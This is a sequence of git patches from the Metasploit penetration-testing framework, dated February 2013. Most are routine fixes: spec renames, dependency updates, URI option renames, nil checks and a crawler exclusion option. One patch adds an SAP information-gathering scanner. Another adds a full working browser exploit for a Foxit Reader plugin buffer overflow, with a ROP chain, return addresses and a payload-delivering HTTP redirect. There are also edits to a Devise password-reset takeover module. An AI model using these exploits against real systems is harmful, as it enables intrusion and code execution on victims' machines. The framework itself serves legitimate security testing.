be sure return "x86" if resp.nil? or resp.code != 200 resp_tbl = parse_wql_response(resp) @@ -235,7 +247,7 @@ class Metasploit3 < Msf::Exploit::Remote def valid_login? data = winrm_wql_msg("Select Name,Status from Win32_Service") - resp = send_winrm_request(data) + resp,c = send_request_ntlm(data) unless resp.code == 200 return false end From ba7f5a72455cf28231a5a11bc4557bc274a09637 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 11 Feb 2013 21:04:57 -0600 Subject: [PATCH 205/448] Actually run this spec. --- spec/lib/rex/proto/http/{client.rb => client_spec.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename spec/lib/rex/proto/http/{client.rb => client_spec.rb} (100%) diff --git a/spec/lib/rex/proto/http/client.rb b/spec/lib/rex/proto/http/client_spec.rb similarity index 100% rename from spec/lib/rex/proto/http/client.rb rename to spec/lib/rex/proto/http/client_spec.rb From 5a0744934efc130e2f1b8da7a19d46448e166a04 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 11 Feb 2013 21:06:52 -0600 Subject: [PATCH 206/448] Let's not intro functionality as testing That's a bad habit to get into. --- lib/rex/proto/http/client.rb | 3 +-- spec/lib/rex/proto/http/client_spec.rb | 7 ++++--- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 6159514399..760268a7f7 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -420,8 +420,7 @@ class Client !(self.username.nil?) && self.username != '' end - alias :has_creds? :have_creds? - + # # Params - # res = The 401 response we need to auth from # opts = the opts used to generate the request that created this response diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index 7555614842..de8c68f186 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -77,9 +77,10 @@ describe Rex::Proto::Http::Client do end it "should test for credentials" do - cli.should_not have_creds - this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1, {}, false, nil, nil, "user1", "pass1" ) - this_cli.should have_creds + # cli.should_not have_creds + # this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1, {}, false, nil, nil, "user1", "pass1" ) + # this_cli.should have_creds + pending "Should actually respond to :has_creds" end it "should send authentication" do From 71abcdbd1a10ed6d5c426e1baed68c1b181bfb0e Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 11 Feb 2013 21:56:56 -0600 Subject: [PATCH 207/448] Update Gemfile.lock --- Gemfile.lock | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/Gemfile.lock b/Gemfile.lock index 99f60b664d..c50df873bf 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -28,8 +28,12 @@ GEM coderay (1.0.8) diff-lcs (1.1.3) i18n (0.6.1) + json (1.7.7) method_source (0.8.1) + msgpack (0.5.2) multi_json (1.0.4) + nokogiri (1.5.6) + pcaprub (0.11.3) pg (0.14.1) pry (0.9.10) coderay (~> 1.0.5) @@ -37,6 +41,7 @@ GEM slop (~> 3.3.1) rake (10.0.2) redcarpet (2.2.2) + robots (0.10.1) rspec (2.12.0) rspec-core (~> 2.12.0) rspec-expectations (~> 2.12.0) @@ -57,10 +62,17 @@ PLATFORMS ruby DEPENDENCIES + activerecord activesupport (>= 3.0.0) + json metasploit_data_models! + msgpack + nokogiri + pcaprub + pg (>= 0.11) rake redcarpet + robots rspec (>= 2.12) simplecov (= 0.5.4) yard From 3a6cd6f395bb62b9c5d6f3a4b9da4e214de75b91 Mon Sep 17 00:00:00 2001 From: Chris John Riley Date: Tue, 12 Feb 2013 14:42:59 +0100 Subject: [PATCH 208/448] Added module for requesting RFC_SYSTEM_INFO via ICF web interface --- .../scanner/sap/sap_icf_rfc_system_info.rb | 290 ++++++++++++++++++ 1 file changed, 290 insertions(+) create mode 100644 modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb diff --git a/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb new file mode 100644 index 0000000000..dd47aaa5c7 --- /dev/null +++ b/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb @@ -0,0 +1,290 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +## +# This module is based on, inspired by, or is a port of a plugin available in +# the Onapsis Bizploit Opensource ERP Penetration Testing framework - +# http://www.onapsis.com/research-free-solutions.php. +# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts +# in producing the Metasploit modules and was happy to share his knowledge and +# experience - a very cool guy. I'd also like to thank Chris John Riley, +# Ian de Villiers and Joris van de Vis who have Beta tested the modules and +# provided excellent feedback. Some people just seem to enjoy hacking SAP :) +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'SAP /sap/public/info RFC_SYSTEM_INFO Function Sensitive Information Gathering', + 'Description' => %q{ + This module uses the RFC_SYSTEM_INFO function within SAP Internet Communication + Framework (ICF) to obtain the operating system version, SAP version, IP address + and other information through /sap/public/info + + }, + 'Author' => + [ + # original sap_soap_rfc_system_info module + 'Agnivesh Sathasivam', + 'nmonkee', + # repurposed for /sap/public/info (non-RFC) + 'ChrisJohnRiley' + ], + 'License' => MSF_LICENSE + ) + register_options( + [ + OptString.new('PATH', [true, 'Path to SAP Application Server', '/']) + ], self.class) + end + + def run_host(ip) + + print_status("[SAP] #{ip}:#{rport} - Sending RFC_SYSTEM_INFO request to SAP Application Server") + uri = normalize_uri(datastore['PATH'] + '/sap/public/info') + begin + res = send_request_raw({ 'uri' => uri }, 20) + if res and res.code != 200 + print_error("[SAP] #{ip}:#{rport} - Server did not respond as expected") + return + end + rescue ::Rex::ConnectionError + print_error("[SAP] #{ip}:#{rport} - Unable to connect") + return + end + + print_status("[SAP] #{ip}:#{rport} - Response received") + + saptbl = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "[SAP] ICF RFC_SYSTEM_INFO", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' =>[ + "Key", + "Value" + ]) + response = res.body + rfcproto = $1 if response =~ /(.*)<\/RFCPROTO>/i + rfcchartyp = $1 if response =~ /(.*)<\/RFCCHARTYP>/i + rfcinttyp = $1 if response =~ /(.*)<\/RFCINTTYP>/i + rfcflotyp = $1 if response =~ /(.*)<\/RFCFLOTYP>/i + rfcdest = $1 if response =~ /(.*)<\/RFCDEST>/i + rfchost = $1 if response =~ /(.*)<\/RFCHOST>/i + rfcsysid = $1 if response =~ /(.*)<\/RFCSYSID>/i + rfcdbhost = $1 if response =~ /(.*)<\/RFCDBHOST>/i + rfcdbsys = $1 if response =~ /(.*)<\/RFCDBSYS>/i + rfcsaprl = $1 if response =~ /(.*)<\/RFCSAPRL>/i + rfcmach = $1 if response =~ /(.*)<\/RFCMACH>/i + rfcopsys = $1 if response =~ /(.*)<\/RFCOPSYS>/i + rfctzone = $1 if response =~ /(.*)<\/RFCTZONE>/i + rfcdayst = $1 if response =~ /(.*)<\/RFCDAYST>/i + rfcipaddr = $1 if response =~ /(.*)<\/RFCIPADDR>/i + rfckernrl = $1 if response =~ /(.*)<\/RFCKERNRL>/i + rfcipv6addr = $1 if response =~ /(.*)<\/RFCIPV6ADDR>/i + + saptbl << [ "Release Status of SAP System", rfcsaprl ] + saptbl << [ "RFC Log Version", rfcproto ] + saptbl << [ "Kernel Release", rfckernrl ] + saptbl << [ "Operating System", rfcopsys ] + saptbl << [ "Database Host", rfcdbhost] + saptbl << [ "Central Database System", rfcdbsys ] + + if rfcinttyp == 'LIT' + saptbl << [ "Integer Format", "Little Endian" ] + else + saptbl << [ "Integer Format", "Big Endian" ] + end + saptbl << [ "Hostname", rfchost ] + + if rfcflotyp == 'IE3' + saptbl << [ "Float Type Format", "IEEE" ] + else + saptbl << [ "Float Type Format", "IBM/370" ] + end + + saptbl << [ "IPv4 Address", rfcipaddr ] + saptbl << [ "IPv6 Address", rfcipv6addr ] + saptbl << [ "System ID", rfcsysid ] + saptbl << [ "RFC Destination", rfcdest ] + saptbl << [ "Timezone", "#{rfctzone.gsub(/\s+/, "")} (diff from UTC in seconds)" ] + saptbl << [ "Character Set", rfcchartyp ] + saptbl << [ "Daylight Saving Time", rfcdayst ] + saptbl << [ "Machine ID", rfcmach.gsub(/\s+/, "")] + # output table + print(saptbl.to_s) + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :sname => 'sap', + :type => 'sap.version.release', + :data => "Release Status of SAP System: #{rfcsaprl}" + ) + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :sname => 'sap', + :type => 'sap.version.rfc_log', + :data => "RFC Log Version: #{rfcproto}" + ) + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :sname => 'sap', + :type => 'sap.version.kernel', + :data => "Kernel Release: #{rfckernrl}" + ) + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :sname => 'sap', + :type => 'system.os', + :data => "Operating System: #{rfcopsys}" + ) + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'sap.db.hostname', + :data => "Database Host: #{rfcdbhost}" + ) + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'sap.db_system', + :data => "Central Database System: #{rfcdbsys}" + ) + + if rfcinttyp == 'LIT' + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'system.endianness', + :data => "Integer Format: Little Endian" + ) + else + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'system.endianness', + :data => "Integer Format: Big Endian" + ) + end + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'system.hostname', + :data => "Hostname: #{rfchost}" + ) + + if rfcflotyp == 'IE3' + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'system.float_type', + :data => "Float Type Format: IEEE" + ) + else + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'system.float_type', + :data => "Float Type Format: IBM/370" + ) + end + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'system.ip.v4', + :data => "IPv4 Address: #{rfcipaddr}" + ) + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'system.ip.v6', + :data => "IPv6 Address: #{rfcipv6addr}" + ) + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'sap.instance', + :data => "System ID: #{rfcsysid}" + ) + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'sap.rfc.destination', + :data => "RFC Destination: #{rfcdest}" + ) + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'system.timezone', + :data => "Timezone: #{rfctzone.gsub(/\s+/, "")} (diff from UTC in seconds)" + ) + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'system.charset', + :data => "Character Set: #{rfcchartyp}" + ) + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'sap.daylight_saving_time', + :data => "Daylight Saving Time: #{rfcdayst}" + ) + + + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'sap.machine_id', + :data => "Machine ID: #{rfcmach.gsub(/\s+/, "")}" + ) + end +end \ No newline at end of file From 69267b82b09204afe3dbbb687b59f5c72402ac6c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 12 Feb 2013 18:44:19 +0100 Subject: [PATCH 209/448] Make stable #1318 foxit reader exploit --- .../browser/foxit_reader_plugin_url_bof.rb | 187 ++++++++++++++++++ 1 file changed, 187 insertions(+) create mode 100644 modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb diff --git a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb new file mode 100644 index 0000000000..b410c2695a --- /dev/null +++ b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb @@ -0,0 +1,187 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + + include Msf::Exploit::Remote::HttpServer::HTML + + Rank = NormalRanking + + def initialize(info={}) + super(update_info(info, + 'Name' => "Foxit Reader Plugin URL Processing Buffer Overflow", + 'Description' => %q{ + This module exploits a vulnerability in the Foxit Reader Plugin, it exists in + the npFoxitReaderPlugin.dll module. When loading PDF files from remote hosts, + overly long query strings within URLs can cause a stack-based buffer overflow, + which can be exploited to execute arbitrary code. This exploit has been tested + on Windows 7 SP1 with Firefox 18.0 and Foxit Reader version 5.4.4.1128 + (npFoxitReaderPlugin.dll version 2.2.1.530). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'rgod ', # initial discovery and poc + 'Sven Krewitt ', # metasploit module + 'juan vazquez', # metasploit module + ], + 'References' => + [ + [ 'OSVDB', '89030' ], + [ 'BID', '57174' ], + [ 'EDB', '23944' ], + [ 'URL', 'http://retrogod.altervista.org/9sg_foxit_overflow.htm' ], + [ 'URL', 'http://secunia.com/advisories/51733/' ] + ], + 'Payload' => + { + 'Space' => 2000, + 'DisableNops' => true + }, + 'DefaultOptions' => + { + 'EXITFUNC' => "process", + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Platform' => 'win', + 'Targets' => + [ + # npFoxitReaderPlugin.dll version 2.2.1.530 + [ 'Automatic', {} ], + [ 'Windows 7 SP1 / Firefox 18 / Foxit Reader 5.44', + { + 'Offset' => 272, + 'Ret' => 0x1000c57d, # pop # ret # from npFoxitReaderPlugin + 'WritableAddress' => 0x10045c10, # from npFoxitReaderPlugin + :rop => :win7_rop_chain + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Jan 7 2013", + 'DefaultTarget' => 0)) + end + + def get_target(agent) + #If the user is already specified by the user, we'll just use that + return target if target.name != 'Automatic' + + #Mozilla/5.0 (Windows NT 6.1; rv:18.0) Gecko/20100101 Firefox/18.0 + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' + firefox = agent.scan(/Firefox\/(\d+\.\d+)/).flatten[0] || '' + + case nt + when '5.1' + os_name = 'Windows XP SP3' + when '6.0' + os_name = 'Windows Vista' + when '6.1' + os_name = 'Windows 7' + end + + if os_name == 'Windows 7' and firefox =~ /18/ + return targets[1] + end + + return nil + end + + # Uses rop chain from npFoxitReaderPlugin.dll (foxit) (no ASLR module) + def win7_rop_chain + + # rop chain generated with mona.py - www.corelan.be + rop_gadgets = + [ + 0x1000ce1a, # POP EAX # RETN [npFoxitReaderPlugin.dll] + 0x100361a8, # ptr to &VirtualAlloc() [IAT npFoxitReaderPlugin.dll] + 0x1000f055, # MOV EAX,DWORD PTR DS:[EAX] # RETN [npFoxitReaderPlugin.dll] + 0x10021081, # PUSH EAX # POP ESI # RETN 0x04 [npFoxitReaderPlugin.dll] + 0x10007971, # POP EBP # RETN [npFoxitReaderPlugin.dll] + 0x41414141, # Filler (RETN offset compensation) + 0x1000614c, # & push esp # ret [npFoxitReaderPlugin.dll] + 0x100073fa, # POP EBX # RETN [npFoxitReaderPlugin.dll] + 0x00001000, # 0x00001000-> edx + 0x1000d9ec, # XOR EDX, EDX # RETN + 0x1000d9be, # ADD EDX,EBX # POP EBX # RETN 0x10 [npFoxitReaderPlugin.dll] + 0x41414141, # Filler (compensate) + 0x100074a7, # POP ECX # RETN [npFoxitReaderPlugin.dll] + 0x41414141, # Filler (RETN offset compensation) + 0x41414141, # Filler (RETN offset compensation) + 0x41414141, # Filler (RETN offset compensation) + 0x41414141, # Filler (RETN offset compensation) + 0x00000040, # 0x00000040-> ecx + 0x1000e4ab, # POP EBX # RETN [npFoxitReaderPlugin.dll] + 0x00000001, # 0x00000001-> ebx + 0x1000dc86, # POP EDI # RETN [npFoxitReaderPlugin.dll] + 0x1000eb81, # RETN (ROP NOP) [npFoxitReaderPlugin.dll] + 0x1000c57d, # POP EAX # RETN [npFoxitReaderPlugin.dll] + 0x90909090, # nop + 0x10005638, # PUSHAD # RETN [npFoxitReaderPlugin.dll] + ].flatten.pack("V*") + + return rop_gadgets + end + + def on_request_uri(cli, request) + + agent = request.headers['User-Agent'] + my_target = get_target(agent) + + # Avoid the attack if no suitable target found + if my_target.nil? + print_error("Browser not supported, sending 404: #{agent}") + send_not_found(cli) + return + end + + unless self.respond_to?(my_target[:rop]) + print_error("Invalid target specified: no callback function defined") + send_not_found(cli) + return + end + + return if ((p = regenerate_payload(cli)) == nil) + + # we use two responses: + # one for an HTTP 301 redirect and sending the payload + # and one for sending the HTTP 200 OK with appropriate Content-Type + if request.resource =~ /\.pdf$/ + # sending Content-Type + resp = create_response(200, "OK") + resp.body = "" + resp['Content-Type'] = 'application/pdf' + resp['Content-Length'] = rand_text_numeric(3,"0") + cli.send_response(resp) + return + else + resp = create_response(301, "Moved Permanently") + resp.body = "" + + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] + if datastore['SSL'] + schema = "https" + else + schema = "http" + end + + sploit = rand_text_alpha(my_target['Offset'] - "#{schema}://#{my_host}:#{datastore['SRVPORT']}#{request.uri}.pdf?".length) + sploit << [my_target.ret].pack("V") # EIP + sploit << [my_target['WritableAddress']].pack("V") # Writable Address + sploit << self.send(my_target[:rop]) + sploit << p.encoded + + resp['Location'] = request.uri + '.pdf?' + Rex::Text.uri_encode(sploit, 'hex-all') + cli.send_response(resp) + + # handle the payload + handler(cli) + end + end + +end From 96b1cb3cfbb35e185ce8d6e8f59fb4ecfe3b50ff Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 12 Feb 2013 18:50:36 +0100 Subject: [PATCH 210/448] fix version info --- .../exploits/windows/browser/foxit_reader_plugin_url_bof.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb index b410c2695a..6c59092789 100644 --- a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb +++ b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote the npFoxitReaderPlugin.dll module. When loading PDF files from remote hosts, overly long query strings within URLs can cause a stack-based buffer overflow, which can be exploited to execute arbitrary code. This exploit has been tested - on Windows 7 SP1 with Firefox 18.0 and Foxit Reader version 5.4.4.1128 + on Windows 7 SP1 with Firefox 18.0 and Foxit Reader version 5.4.4.11281 (npFoxitReaderPlugin.dll version 2.2.1.530). }, 'License' => MSF_LICENSE, @@ -54,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote [ # npFoxitReaderPlugin.dll version 2.2.1.530 [ 'Automatic', {} ], - [ 'Windows 7 SP1 / Firefox 18 / Foxit Reader 5.44', + [ 'Windows 7 SP1 / Firefox 18 / Foxit Reader 5.44.11281', { 'Offset' => 272, 'Ret' => 0x1000c57d, # pop # ret # from npFoxitReaderPlugin From f58cc6a2e083a11dc48b7256d6e352f93186a73a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 12 Feb 2013 18:51:04 +0100 Subject: [PATCH 211/448] more fix version info --- modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb index 6c59092789..7e5d6353a3 100644 --- a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb +++ b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb @@ -54,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote [ # npFoxitReaderPlugin.dll version 2.2.1.530 [ 'Automatic', {} ], - [ 'Windows 7 SP1 / Firefox 18 / Foxit Reader 5.44.11281', + [ 'Windows 7 SP1 / Firefox 18 / Foxit Reader 5.4.4.11281', { 'Offset' => 272, 'Ret' => 0x1000c57d, # pop # ret # from npFoxitReaderPlugin From 9e1f106a876e2eb604aa254667cef0a48d37cd24 Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Tue, 12 Feb 2013 13:38:58 -0600 Subject: [PATCH 212/448] msftidy cleanup --- modules/auxiliary/admin/http/rails_devise_pass_reset.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb index 6445c286be..6ea0d62e80 100644 --- a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -142,7 +142,7 @@ class Metasploit3 < Msf::Auxiliary if status == false print_error("Failed") return - end + end print_good("Success") # Reset a password. We're racing users creating other reset tokens. From c7719bf4cb1a6d6ae6ccc10d8d5a9a003c14d818 Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Tue, 12 Feb 2013 13:41:21 -0600 Subject: [PATCH 213/448] Verify response is non-nil. --- modules/auxiliary/admin/http/rails_devise_pass_reset.rb | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb index 6ea0d62e80..c3c8038e56 100644 --- a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -68,6 +68,11 @@ class Metasploit3 < Msf::Auxiliary 'data' => postdata, }) + unless (res) + print_error("No response from server") + return false + end + if res.code == 200 error_text = res.body[/
\n\s+(.*?)<\/div>/m, 1] print_error("Server returned an error:") @@ -107,6 +112,10 @@ class Metasploit3 < Msf::Auxiliary 'ctype' => 'application/xml', 'data' => xml, }) + unless (res) + print_error("No response from server") + return false + end case res.code when 200 From 9efd3f6c5ecc3de77e7d6a68af9491b9320f05a5 Mon Sep 17 00:00:00 2001 From: Tasos Laskos Date: Tue, 12 Feb 2013 21:47:12 +0200 Subject: [PATCH 214/448] scanner/http/crawler: added ExcludePathPatterns opt Option 'ExcludePathPatterns' allows users to specify which paths should be excluded from the crawl (and which forms to ignore) by passing a list of patterns (only allows '*' wildcards). --- modules/auxiliary/scanner/http/crawler.rb | 69 ++++++++++++++++------- 1 file changed, 48 insertions(+), 21 deletions(-) diff --git a/modules/auxiliary/scanner/http/crawler.rb b/modules/auxiliary/scanner/http/crawler.rb index 6d50554d98..8488c24dd0 100644 --- a/modules/auxiliary/scanner/http/crawler.rb +++ b/modules/auxiliary/scanner/http/crawler.rb @@ -21,6 +21,9 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE ) + register_advanced_options([ + OptString.new('ExcludePathPatterns', [false, 'Newline-separated list of path patterns to ignore (\'*\' is a wildcard)']), + ]) @for_each_page_blocks = [] end @@ -31,6 +34,17 @@ class Metasploit3 < Msf::Auxiliary end =end + # Overrides Msf::Auxiliary::HttpCrawler#get_link_filter to add + # datastore['ExcludePathPatterns'] + def get_link_filter + return super if datastore['ExcludePathPatterns'].to_s.empty? + + patterns = opt_patterns_to_regexps( datastore['ExcludePathPatterns'].to_s ) + patterns = patterns.map { |r| "(#{r.source})" } + + Regexp.new( [["(#{super.source})"] | patterns].join( '|' ) ) + end + def run super @@ -163,31 +177,34 @@ class Metasploit3 < Msf::Auxiliary end end - form = {}.merge!(form_template) - form[:method] = (f['method'] || 'GET').upcase - form[:query] = target.query.to_s if form[:method] != "GET" - form[:path] = target.path - form[:params] = [] - f.css('input', 'textarea').each do |inp| - form[:params] << [inp['name'].to_s, inp['value'] || inp.content || '', { :type => inp['type'].to_s }] - end - - f.css( 'select' ).each do |s| - value = nil - - # iterate over each option to find the default value (if there is a selected one) - s.children.each do |opt| - ov = opt['value'] || opt.content - value = ov if opt['selected'] + # skip this form if it matches exclusion criteria + if !(target.to_s =~ get_link_filter) + form = {}.merge!(form_template) + form[:method] = (f['method'] || 'GET').upcase + form[:query] = target.query.to_s if form[:method] != "GET" + form[:path] = target.path + form[:params] = [] + f.css('input', 'textarea').each do |inp| + form[:params] << [inp['name'].to_s, inp['value'] || inp.content || '', { :type => inp['type'].to_s }] end - # set the first one as the default value if we don't already have one - value ||= s.children.first['value'] || s.children.first.content rescue '' + f.css( 'select' ).each do |s| + value = nil - form[:params] << [ s['name'].to_s, value.to_s, [ :type => 'select'] ] + # iterate over each option to find the default value (if there is a selected one) + s.children.each do |opt| + ov = opt['value'] || opt.content + value = ov if opt['selected'] + end + + # set the first one as the default value if we don't already have one + value ||= s.children.first['value'] || s.children.first.content rescue '' + + form[:params] << [ s['name'].to_s, value.to_s, [ :type => 'select'] ] + end + + forms << form end - - forms << form end end @@ -252,4 +269,14 @@ class Metasploit3 < Msf::Auxiliary form[:method] ? form : nil end + private + def opt_patterns_to_regexps( patterns ) + magic_wildcard_replacement = Rex::Text.rand_text_alphanumeric( 10 ) + patterns.to_s.split( /[\r\n]+/).map do |p| + Regexp.new '^' + Regexp.escape( p.gsub( '*', magic_wildcard_replacement ) ). + gsub( magic_wildcard_replacement, '.*' ) + '$' + end + end + + end From c6a7a4e68dfda54428b663990944e13caeef1e67 Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Tue, 12 Feb 2013 14:50:10 -0600 Subject: [PATCH 215/448] /URIPATH/TARGETURI/g --- modules/auxiliary/admin/http/rails_devise_pass_reset.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb index c3c8038e56..499b971bdd 100644 --- a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptString.new('URIPATH', [ true, "The request URI", '/users/password']), + OptString.new('TARGETURI', [ true, "The request URI", '/users/password']), OptString.new('TARGETEMAIL', [true, "The email address of target account"]), OptString.new('PASSWORD', [true, 'The password to set']), OptBool.new('FLUSHTOKENS', [ true, 'Flush existing reset tokens before trying', true]), @@ -63,7 +63,7 @@ class Metasploit3 < Msf::Auxiliary postdata="user[email]=#{account}" res = send_request_cgi({ - 'uri' => datastore['URIPATH'], + 'uri' => datastore['TARGETURI'], 'method' => 'POST', 'data' => postdata, }) @@ -107,7 +107,7 @@ class Metasploit3 < Msf::Auxiliary xml << "" res = send_request_cgi({ - 'uri' => datastore['URIPATH'] || "/", + 'uri' => datastore['TARGETURI'] || "/", 'method' => 'PUT', 'ctype' => 'application/xml', 'data' => xml, From 1d5d33f306cc5baa02ec03b769aa29f84a6237e5 Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Tue, 12 Feb 2013 14:58:07 -0600 Subject: [PATCH 216/448] use normalize_uri() --- modules/auxiliary/admin/http/rails_devise_pass_reset.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb index 499b971bdd..4f577afadd 100644 --- a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb +++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb @@ -63,7 +63,7 @@ class Metasploit3 < Msf::Auxiliary postdata="user[email]=#{account}" res = send_request_cgi({ - 'uri' => datastore['TARGETURI'], + 'uri' => normalize_uri(datastore['TARGETURI']), 'method' => 'POST', 'data' => postdata, }) @@ -107,7 +107,7 @@ class Metasploit3 < Msf::Auxiliary xml << "" res = send_request_cgi({ - 'uri' => datastore['TARGETURI'] || "/", + 'uri' => normalize_uri(datastore['TARGETURI']), 'method' => 'PUT', 'ctype' => 'application/xml', 'data' => xml, From 846052a34dfff3b966a76b6039cddcaaf3367407 Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Tue, 12 Feb 2013 15:13:06 -0600 Subject: [PATCH 217/448] s/URIPATH/TARGETURI/g per @jvasquez-r7 comments on another pull. --- modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb index 64c67cf86b..66ebde956d 100644 --- a/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb +++ b/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb @@ -31,14 +31,14 @@ class Metasploit3 < Msf::Auxiliary )) register_options([ - OptString.new('URIPATH', [true, "The URI to test", "/"]), + OptString.new('TARGETURI', [true, "The URI to test", "/"]), OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT']]), ], self.class) end def send_probe(pdata) res = send_request_cgi({ - 'uri' => datastore['URIPATH'] || "/", + 'uri' => datastore['TARGETURI'], 'method' => datastore['HTTP_METHOD'], 'ctype' => 'application/json', 'data' => pdata @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary if res1.code.to_s =~ /^[5]/ print_error("#{rhost}:#{rport} The server replied with #{res1.code} for our initial JSON request") - print_error("\t\tDouble check URIPATH and HTTP_METHOD") + print_error("\t\tDouble check TARGETURI and 